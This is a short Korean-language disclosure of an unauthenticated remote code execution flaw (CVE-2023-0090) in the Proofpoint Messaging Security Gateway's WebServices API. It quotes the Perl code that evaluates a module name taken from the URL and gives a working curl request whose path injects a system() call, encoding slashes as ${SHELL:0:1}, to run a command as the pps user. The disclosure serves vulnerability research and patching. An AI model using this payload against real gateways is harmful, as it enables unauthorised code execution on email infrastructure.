
# Proofpoint 이메일 게이트웨이: 인증되지 않은 RCE
보안 연구원: ly1g3, ly1g3[at]tuta.io
GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
개요: 원격 코드 실행 - 인증되지 않은 RCE
CVE: CVE-2023-0090
타임라인:
Proofpoint Messaging Security Gateway용 익스플로잇
WebServices API에 접근할 수 있으면 인증 없이 관리자 권한으로 RCE를 달성할 수 있습니다.
Webservices.pm은 사용자 입력을 검증하거나 확인하지 않습니다. 해당 함수에 도달하는 데 인증은 필요하지 않지만, RCE를 수행하려면 설정에서 API 접근이 활성화되어 있어야 합니다. $module은 사용자 데이터에서 직접 가져와 평가됩니다.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
/tmp/에 abc라는 파일을 생성합니다. 코드는 pps 사용자로 실행됩니다.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"